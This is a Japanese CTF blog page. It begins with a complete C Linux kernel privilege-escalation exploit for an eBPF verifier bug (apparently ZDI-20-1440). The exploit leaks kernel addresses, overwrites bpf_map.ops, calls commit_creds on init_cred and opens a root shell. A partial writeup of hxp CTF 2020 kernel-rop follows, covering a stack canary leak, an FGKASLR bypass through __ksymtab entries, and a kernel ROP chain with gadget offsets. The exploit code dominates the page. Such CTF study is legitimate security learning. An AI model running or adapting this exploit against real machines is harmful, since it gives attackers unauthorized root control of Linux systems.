#define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <unistd.h> #include <assert.h> #include <stdlib.h> #include <signal.h> #include <poll.h> #include <pthread.h> #include <err.h> #include <errno.h> #include <sched.h> #include <linux/bpf.h> #include <linux/filter.h> #include <linux/userfaultfd.h> #include <linux/prctl.h> #include <sys/syscall.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/xattr.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/shm.h> // eBPF-utils #define ARRSIZE(x) (sizeof(x) / sizeof((x)[0])) #define BPF_REG_ARG1 BPF_REG_1 #define BPF_REG_ARG2 BPF_REG_2 #define BPF_REG_ARG3 BPF_REG_3 #define BPF_REG_ARG4 BPF_REG_4 #define BPF_REG_ARG5 BPF_REG_5 #define BPF_REG_CTX BPF_REG_6 #define BPF_REG_FP BPF_REG_10 #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_DW | BPF_IMM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = (__u32) (IMM) }), \ ((struct bpf_insn) { \ .code = 0, /* zero is reserved opcode */ \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = ((__u64) (IMM)) >> 32 }) #define BPF_LD_MAP_FD(DST, MAP_FD) \ BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_MOV64_REG(DST, SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_MOV | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_ALU64_IMM(OP, DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_ALU32_IMM(OP, DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ ((struct bpf_insn) { \ .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) #define BPF_EMIT_CALL(FUNC) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_CALL, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = (FUNC) }) #define BPF_JMP_REG(OP, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_JMP_IMM(OP, DST, IMM, OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) #define BPF_EXIT_INSN() \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_EXIT, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 }) #define BPF_LD_ABS(SIZE, IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_ALU64_REG(OP, DST, SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_MOV64_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) int bpf_(int cmd, union bpf_attr *attrs) { return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); } int array_create(int value_size, int num_entries) { union bpf_attr create_map_attrs = { .map_type = BPF_MAP_TYPE_ARRAY, .key_size = 4, .value_size = value_size, .max_entries = num_entries }; int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs); if (mapfd == -1) err(1, "map create"); return mapfd; } int array_update(int mapfd, uint32_t key, uint64_t value) { union bpf_attr attr = { .map_fd = mapfd, .key = (uint64_t)&key, .value = (uint64_t)&value, .flags = BPF_ANY, }; return bpf_(BPF_MAP_UPDATE_ELEM, &attr); } int array_update_big(int mapfd, uint32_t key, char* value) { union bpf_attr attr = { .map_fd = mapfd, .key = (uint64_t)&key, .value = value, .flags = BPF_ANY, }; return bpf_(BPF_MAP_UPDATE_ELEM, &attr); } unsigned long get_ulong(int map_fd, uint64_t idx) { uint64_t value; union bpf_attr lookup_map_attrs = { .map_fd = map_fd, .key = (uint64_t)&idx, .value = (uint64_t)&value }; if (bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs)) err(1, "MAP_LOOKUP_ELEM"); return value; } int prog_load(struct bpf_insn *insns, size_t insns_count) { char verifier_log[100000]; union bpf_attr create_prog_attrs = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insn_cnt = insns_count, .insns = (uint64_t)insns, .license = (uint64_t)"GPL v2", .log_level = 2, .log_size = sizeof(verifier_log), .log_buf = (uint64_t)verifier_log }; int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs); int errno_ = errno; //printf("==========================\n%s==========================\n",verifier_log); errno = errno_; if (progfd == -1) err(1, "prog load"); return progfd; } int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) { int progfd = prog_load(insns, insns_count); int socks[2]; if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) err(1, "socketpair"); if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) err(1, "setsockopt"); return socks[1]; } void trigger_proc(int sockfd) { if (write(sockfd, "X", 1) != 1) err(1, "write to proc socket failed"); } // (END eBPF-utils) // commands #define DEV_PATH "" // the path the device is placed // constants #define PAGE 0x1000 #define FAULT_ADDR 0xdead0000 #define FAULT_OFFSET PAGE #define MMAP_SIZE 4*PAGE #define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET // (END constants) // globals int control_map; int reader = -1; // (END globals) // utils #define WAIT getc(stdin); #define ulong unsigned long #define scu static const unsigned long #define NULL (void*)0 #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) #define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\ if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");} #define REP(N) for(int moratorium=0; moratorium!+N; ++N) ulong user_cs,user_ss,user_sp,user_rflags; struct pt_regs { ulong r15; ulong r14; ulong r13; ulong r12; ulong bp; ulong bx; ulong r11; ulong r10; ulong r9; ulong r8; ulong ax; ulong cx; ulong dx; ulong si; ulong di; ulong orig_ax; ulong ip; ulong cs; ulong flags; ulong sp; ulong ss; }; void print_regs(struct pt_regs *regs) { printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12); printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10); printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx); printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip); printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss); } void NIRUGIRI(void) { int ruid, euid, suid; getresuid(&ruid, &euid, &suid); if(euid != 0) errExit("[ERROR] somehow, couldn't get root..."); system("/bin/sh"); } // should compile with -masm=intel static void save_state(void) { asm( "movq %0, %%cs\n" "movq %1, %%ss\n" "movq %2, %%rsp\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } static void shellcode(void){ asm( "xor rdi, rdi\n" "mov rbx, QWORD PTR [rsp+0x50]\n" "sub rbx, 0x244566\n" "mov rcx, rbx\n" "call rcx\n" "mov rdi, rax\n" "sub rbx, 0x470\n" "call rbx\n" "add rsp, 0x20\n" "pop rbx\n" "pop r12\n" "pop r13\n" "pop r14\n" "pop r15\n" "pop rbp\n" "ret\n" ); } // (END utils) ulong read_rel(int N) { struct bpf_insn reader_insns[] = { /* get cmap[0] */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0) BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = &cmap[0] BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &cmap[0] /* get cmap[1] */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1), // qword[r2] = 1 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 1) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7 = cmap[1] (==1) /* fix r6/r7 range */ BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2), // ensure R6>=0 BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1), // ensure 0<=R6<=1 BPF_JMP_IMM(BPF_JA, 0, 0, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2), // ensure R7>=0 BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1), // ensure 0<=R7<=1 BPF_JMP_IMM(BPF_JA, 0, 0, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), // exploit r6 range BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7), // r6 >>= r7 (r6 regarded as 0, actually 1) BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // r6 *= -1 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N), // r6 *= N // load it malciously BPF_ALU64_REG(BPF_ADD, BPF_REG_9, BPF_REG_6), // r9 += r6 (r9 = &cmap[0] + N) BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_9, 0), // r3 = qword [r9] (r3 = [&cmap[0] + N]) BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_3, 0), // [r8] = r3 (cmap[0] = r9) // Go Home BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0 BPF_EXIT_INSN() }; reader = create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns)); if(reader < 0){ errExit("reader not initialized"); } array_update(control_map, 0, 1); array_update(control_map, 1, 0); trigger_proc(reader); const ulong tmp = get_ulong(control_map, 0); return tmp; } ulong leak_controlmap(void) { struct bpf_insn reader_insns[] = { /* get cmap[0] */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0) BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = &cmap[0] BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &cmap[0] BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_8, 0), // [r8] = r3 (cmap[0] = r9) // Go Home BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0 BPF_EXIT_INSN() }; int tmp_reader = create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns)); if(tmp_reader < 0){ errExit("tmp_reader not initialized"); } trigger_proc(tmp_reader); const ulong tmp = get_ulong(control_map, 0); return tmp; } void ops_NIRUGIRI(ulong controlmap_addr, ulong kernbase) { const ulong fakeops_addr = controlmap_addr + 0x10; const ulong init_cred = kernbase + 0xE43E60; const ulong commit_creds = kernbase + 0x081E70; const uint N = 0x90; const uint zero = 0; printf("[.] init_cred: 0x%lx\n", (((init_cred>>32) & 0xFFFFFFFFUL)<<32) + (init_cred & 0xFFFFFFFFUL)); struct bpf_insn writer_insns[] = { /* get cmap[0] */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0) BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = &cmap[0] BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &cmap[0] /* get cmap[1] */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1), // qword[r2] = 1 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 1) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7 = cmap[1] (==1) /* fix r6/r7 range */ BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2), // ensure R6>=0 BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1), // ensure 0<=R6<=1 BPF_JMP_IMM(BPF_JA, 0, 0, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2), // ensure R7>=0 BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1), // ensure 0<=R7<=1 BPF_JMP_IMM(BPF_JA, 0, 0, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), // exploit r6 range BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7), // r6 >>= r7 (r6 regarded as 0, actually 1) BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // r6 *= -1 // overwrite ops into forged ops BPF_MOV64_IMM(BPF_REG_1, (fakeops_addr>>32) & 0xFFFFFFFFUL), BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32), BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, fakeops_addr & 0xFFFFFFFFUL), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N), BPF_ALU64_REG(BPF_ADD, BPF_REG_8, BPF_REG_6), // r8 += r6 BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0), // forge ptrs[0] with &init_cred BPF_MOV64_IMM(BPF_REG_2, 0), BPF_MOV64_IMM(BPF_REG_3, init_cred & 0xFFFFFFFFUL), BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32), BPF_ALU64_IMM(BPF_ARSH, BPF_REG_3, 32), BPF_ALU64_REG(BPF_ADD, BPF_REG_2, BPF_REG_3), BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_2, 0), // Go Home BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0 BPF_EXIT_INSN() }; int evilwriter= create_filtered_socket_fd(writer_insns, ARRSIZE(writer_insns)); if(evilwriter < 0){ errExit("reader not initialized"); } // setup fake table for(int ix=0; ix!=10; ++ix){ array_update(control_map, ix+2, commit_creds); } array_update(control_map, 6, kernbase + 0x12B730); // fd_array_map_delete_elem // overwrite bpf_map.ops array_update(control_map, 0, 1); array_update(control_map, 1, 0); trigger_proc(evilwriter); // NIRUGIRI union bpf_attr lookup_map_attrs = { .map_fd = control_map, .key = (uint64_t)&zero, }; bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs); NIRUGIRI(); printf("[-] press ENTER to die\n"); WAIT; } int main(int argc, char *argv[]) { control_map = array_create(0x8, 0x10); // [0] always 1, [1] always 0 // leak kernbase const ulong kernbase = read_rel(0x90) - 0xA12100; printf("[+] kernbase: 0x%lx\n", kernbase); // leak controlmap's addr const ulong controlmap_addr = leak_controlmap(); printf("[+] controlmap: 0x%lx\n", controlmap_addr); // forge bpf_map.ops and do commit_creds(&init_cred) ops_NIRUGIRI(controlmap_addr, kernbase); return 0; // unreachable }
8: アウトロ
最初は権限ゆるすぎてどうなんだろうと思ってたけど、bpf_map.btf
なしでROOT取る流れを考えるのは楽しかったです。
もうすぐ春ですね。海を見に行きたいです。
9: 参考
1: author's writeup
https://blog.hexrabbit.io/2021/02/07/ZDI-20-1440-writeup/
2: original 0-day blog
3: ニルギリ
続く...
【pwn 49.0】kernel-rop - hxp CTF 2020 (kernel exploit)
kROP / FGKASLR / kernel exploit / ksymtab_xxx / rp++
- 1: イントロ
- 2: static
- 3: Vuln
- 4: leak canary
- 5: kROP
- 6: get ROOT
- 7: exploit
- 8: アウトロ
- 9: symbols without KASLR
- 10: 参考
1: イントロ
いつぞや開催された hxp CTF 2020 。そのpwn問題である kernel-rop を解いていく。kernelを起動した瞬間にvulnとtopicをネタバレしていくスタイルだった。
そういえば、今月は自分の中でkernel-pwn強化月間で、解くべき問題を募集しているので、これは面白いから解いてみろとか、これは為になるから見てみろとかあったら教えてください。解ける限り解きます。
2: static
basic
/ $ cat /proc/version Linux version 5.9.0-rc6+ (martin@martin) (gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0, GNU ld (GNU Binutils f0 / $ lsmod hackme 20480 0 - Live 0x0000000000000000 (O) $ modinfo ./hackme.ko filename: /home/wataru/Documents/ctf/hxp2020/kernel-rop/work/./hackme.ko version: DEV author: Martin Radev <https://twitter.com/martin_b_radev> description: hackme license: GPL srcversion: 838E71A30F4FFB7229182E4 depends: retpoline: Y name: hackme vermagic: 5.9.0-rc6+ SMP mod_unload qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 kaslr kpti=1 quiet panic=1"
SMEP有効・SMAP有効・KAISER有効・KASLR有効・oops!->panic
vmlinuz
を展開してvmlinux
にしたところ、以下のメッセージが出た。
$ file ./vmlinux ./vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), too many section (36140)
too many section (36140) 。カーネルイメージで too many section といえば、 FGKASLR である。関数毎にセクションが用意されロード時にランダマイズされるため、関数ポインタのleakの殆どが無意味になる。
$ readelf -S ./vmlinux | grep kmem_cache [11414] .text.kmem_cache_ PROGBITS ffffffff81643220 00843220 [11448] .text.kmem_cache_ PROGBITS ffffffff81644430 00844430 [11449] .text.kmem_cache_ PROGBITS ffffffff81644530 00844530 [11457] .text.kmem_cache_ PROGBITS ffffffff81644810 00844810 [11458] .text.kmem_cache_ PROGBITS ffffffff81644b00 00844b00 [12494] .text.kmem_cache_ PROGBITS ffffffff8169a1b0 0089a1b0 [12536] .text.kmem_cache_ PROGBITS ffffffff8169e710 0089e710 [12537] .text.kmem_cache_ PROGBITS ffffffff8169eb80 0089eb80 [12540] .text.kmem_cache_ PROGBITS ffffffff8169f240 0089f240 [12541] .text.kmem_cache_ PROGBITS ffffffff8169f6b0 0089f6b0 [12553] .text.kmem_cache_ PROGBITS ffffffff816a0f70 008a0f70 [12557] .text.kmem_cache_ PROGBITS ffffffff816a15b0 008a15b0 [12559] .text.kmem_cache_ PROGBITS ffffffff816a1a00 008a1a00 [12561] .text.kmem_cache_ PROGBITS ffffffff816a2020 008a2020
Module
おい、ソースないやんけ。その理由を書いた嘆願書も添付されてないやんけ。
hackme という名前のmiscdevice
が登録される。
実装されている操作は open/release/read/write の4つ。さてリバースをしようと思いGhidraを開いたら、 Ghidra君が全ての関数をデコンパイルすることを放棄してしまった。。。 これ、たまにある事象なので今度原因を調べる。それかIDAも使えるようにしておく。
まぁアセンブリを読めばいいだけなので問題はない。read/write
はおおよそ以下の疑似コードのようなことをしている。
write(struct file *filp, char *data, size_t size, loff_t off){ if(size <= 0x1000){ __check_object_size(hackme_buf, size, 0); if(_copy_from_user(hackme_buf, buf, sizse)){ return -0xE; } memcpy($rsp-0x98, hackme_buf, size); // <-- VULN: なにしてんのお前??? __stack_chk_fail(); }else{ _warn_printk("Buffer_overflow_detected_(%d_<_%u)!", 0x1000, size); __stack_chk_fail(); // canary @ $rbp-0x18 return -0xE; } } read(struct file *filp, char *data, size_t size){ memcpy(hackme_buf, $rsp-0x98, size); // <-- VULN: not initialized... __check_object_size(hackme_buf, size, 1); if(_copy_to_user(data, hackme_buf, size)){ return -0xE; } __stack_chk_fail(); // canary @ $rbp-0x18 }
なんかもう、意味分からんことしてるな。FGKASLRのせいでGDBの表示もイカれてるし、しまいにはAbortしたわ。。。
まぁそれはいいとして、hackme_write()
ではhackme_buf
に読んだデータを、$rsp-0x98
へとmemcpy()
している。この際のサイズ制限は0x1000
であるが、これだけのデータをスタックにコピーすると当然崩壊してしまう。だが、$rsp-0x18
にカナリアが飼われており、これを崩さないようにしないとOopsする。また、hackme_read()
においては$rsp-0x98
からのデータをhackme_buf
にコピーし、そのあとでhackme_buf
をユーザランドにコピーしている。
3: Vuln
上のコードからも分かるとおり、スタックがかなりいじれる(R/W)。但し、カナリアは居る。
4: leak canary
カナリアが飼われているものの、hackme_read()
のチェックがガバガバのため、readに関しては思うがままにでき、よって容易にカナリアをleakできる。
/** snippet **/ _read(fd, rbuf, 0x90); printf("[+] canary: %lx\n", ((ulong*)rbuf)[0x80/8]); /** result **/ / # /tmp/exploit [+] canary: 32ce1536acf87a00 / #
5: kROP
これでcanaryがleakできたため、スタックを任意に書き換えることができるようになった。SMEP/SMAPともに有効であるから、ユーザランドに飛ばすことはできない。また、FGKASLRが有効のためガジェットの位置がなかなか定まらない。FGKASLRが有効でもデータセクション及び一部の関数はランダマイズされないことは知っているが、そういったシンボルをどうやって見つければいいか分からなかった。
__ksymtab_xxx
__ksymtab_xxx
エントリをleakすればいいらしい。そこで試しにkmem_cache_alloc()
の情報を以下に挙げる。
kernbase: 0xffffffff81000000 kmem_cache_create: 0xffffffff81644b00 __ksymtab_kmem_cache_create: 0xffffffff81f8b4b0 __kstrtab_kmem_cache_create: 0xffffffff81fa61ea (gdb) x/4wx $ksymtab_kmem_cache_create 0xffffffff81f8b4b0: 0xff6b9650 0x0001ad36 0x0001988a
僕は__ksymtab_xxx
各エントリには、シンボルのアドレス・__kstrtab_xxx
へのポインタ・ネームスペースへのポインタがそれぞれ0x8byteで入っているものと思っていたが、上を見る感じそうではない。どうやら、KASLRが利用できるarchにおいては、このパッチでアドレスの代わりにオフセットを入れるようになったらしい。シンボルの各エントリは以下の構造を持ち、以下のようにして解決される。
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS #include <linux/compiler.h> (snipped...) #define __KSYMTAB_ENTRY(sym, sec) \ __ADDRESSABLE(sym) \ asm(" .section \"___ksymtab" sec "+" #sym "\", \"a\" \n" \ " .balign 4 \n" \ "__ksymtab_" #sym ": \n" \ " .long " #sym "- . \n" \ " .long __kstrtab_" #sym "- . \n" \ " .long __kstrtabns_" #sym "- . \n" \ " .previous \n") struct kernel_symbol { int value_offset; int name_offset; int namespace_offset; }; #else
static unsigned long kernel_symbol_value(const struct kernel_symbol *sym) { #ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS return (unsigned long)offset_to_ptr(&sym->value_offset); #else return sym->value; #endif } static const char *kernel_symbol_name(const struct kernel_symbol *sym) { #ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS return offset_to_ptr(&sym->name_offset); #else return sym->name; #endif }
static inline void *offset_to_ptr(const int *off) { return (void *)((unsigned long)off + *off); }
要は、そのエントリのアドレスに対してそのエントリの持つ値を足してやれば、そのエントリの示すシンボルのアドレス、および__kstrtab_xxx
のアドレスになるというわけである。そして、幸いなことにこのエントリ達はreadableなデータであり、FGKASLRの影響を受けない(KASLRの影響は受ける)。よって、この__ksymtab_xxx
のアドレス、厳密にはこの配列のインデックスも固定であるためその内のどれか(一番最初のエントリはffffffff81f85198 r __ksymtab_IO_APIC_get_PCI_irq_vector
)が分かればFGKASLRを完全に無効化したことになる。
find not-randomized pointer to leak kernbase
だがまだ進捗は全く出ていない。この__ksymtab_xxx
のアドレス自体を決定する必要がある。今回は最初スタックからしかleakできないため、このstackをとにかく血眼になって FGKASLRの影響を受けていないポインタを探す 。以下のように、$RSP-38*0x8
にあるポインタがKASLR有効の状態で何回か試しても影響を受けていなかった。
これで、kernbaseのリークができたことになる。すなわち、__ksymtab_xxx
の全てのアドレスもleakできたことになる。
find gadget to leak the data of __ksymtab_xxx
さて、__ksymtab_xxx
のアドレスが分かったが、今度はこの中身を抜くためのガジェットが必要になる。このガジェットも勿論、FGKASLRの影響を受けないような関数から取ってこなくてはならない。 ROP問って、ただガジェット探す時間が多くなるから嫌い 。。。
ということで、 rp++ のラッパーとしてFGKASLRに影響されないようなガジェットを探してくれるシンプルツールを書きました。まだまだバグだらけだけど、ゼロから探すよりかは8億倍楽だと思う。
これを使うと、以下のような感じでFGKASLRの影響を受けないシンボルだけを探してくれて。
実際に、これはFGKASLRの影響を受けていないことが分かる。こうなればあとは、ただのkROP問題だ。
これを使って、gadgetを探して以下のようなchainを組んだ。
// leak symbols from __ksymtab_xxx save_state(); ulong *c = &wbuf[CANARY_OFF]; memset(wbuf, 'A', 0x200); *c++ = canary; *c++ = '1'; // rbx *c++ = '2'; // r12 *c++ = '3'; // rbp *c++ = kernbase + 0x4D11; // pop rax *c++ = kernbase + 0xf87d90; // __ksymtab_commit_creds *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp; *c++ = 'A'; // rbp *c++ = kernbase + 0x200f23; // go home(swapgs & iretq) for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none *c++ = 'A' + ix + 1; *c++ = &NIRUGIRI; *c++ = user_cs; *c++ = user_rflags; *c++ = user_sp; *c++ = user_ss; _write(fd, wbuf, 0x130);
すると、iretq
の直前には以下のようになって、ちゃんとNIRUGIRI()
に帰れることがわかる。(因みに、なんでか上手くユーザランドに帰れなくて小一時間ほど時間を浪費してしまったが、結局_write()
で書き込むバイト数が足りておらず、user_ss
等を書き込めていなかったことが原因だった)
但し、まだNIRUGIRIをするには早すぎる。一回のkROPでできることは一つのleakだけだから、これを複数回繰り返してleakを行う。具体的にはleakするシンボルは、commit_creds
とprepare_kernel_cred
である。current_task
に関してはFGKASLRの影響を受けないため問題ない。
6: get ROOT
上の方法でcommit_creds()
とprepare_kernel_cred()
をleakしたら、同様に neorop++ でFGKASLRに影響されないガジェットを探し、あとは全く同じ方法でcommit_creds(prepare_kernel_cred(0))
をするだけである。最後の着地点はユーザランドのシェルを実行する関数にすれば良い。`
7: exploit
